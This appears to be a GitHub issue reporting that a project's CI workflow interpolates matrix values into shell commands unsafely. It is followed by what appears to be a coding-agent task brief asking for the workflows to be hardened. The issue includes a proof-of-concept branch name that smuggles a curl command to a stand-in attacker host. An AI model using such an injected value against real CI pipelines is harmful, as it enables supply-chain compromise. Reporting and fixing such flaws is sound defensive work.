security(workflow): CICD.yml is vulnerable to Shell Injection too and many workflow security best praticses are not here for multiple workflows, needs be fixed to the project not be the next victim of a supply chain attatck

Hi, @cakebaker and @sylvestre

i want let you known the workflow CICD.yml the first one is vulnerable to shell injection attacks by malicious prs and needs be fixed

to be exploited an attacker just need name in their fork their branch that exact name

feat";curl${IFS}attacker.com;

which will work since github allows ${, and then pings attacker.com, the workflow need be hardend

look here

CARGO_FEATURES_OPTION='--features "${{ matrix.job.features }}"' ;

and

CARGO_FEATURES_OPTION='--features ${{ matrix.job.features }}'

it looks like the workflows are insecure and exploitable by a malicious attacker, for a project be safe and good, it needs also protect it supply chain
not just code, which i see a lot of workflows third party unpinned since recent supply chain attacks, the ${{ matrix... is a bad thing to do and is a supply chain security violation

you need use an

env:

block and then pass the variable $, then pin the workflows and secure them, i recommend it strongly and that's how many projects including trivy by aqua security the popular tool itself gets pwned by those mistakes twice (two times), i want the project also not be a target

Start by reading CICD.yml, especially the workflow expressions assigning matrix.job.features to shell variables, then inspect the other workflow files for similar interpolations and unpinned third-party actions. Done means the reported shell-injection path is addressed and the relevant workflows have the requested security hardening; no tests or verification commands are named in the issue.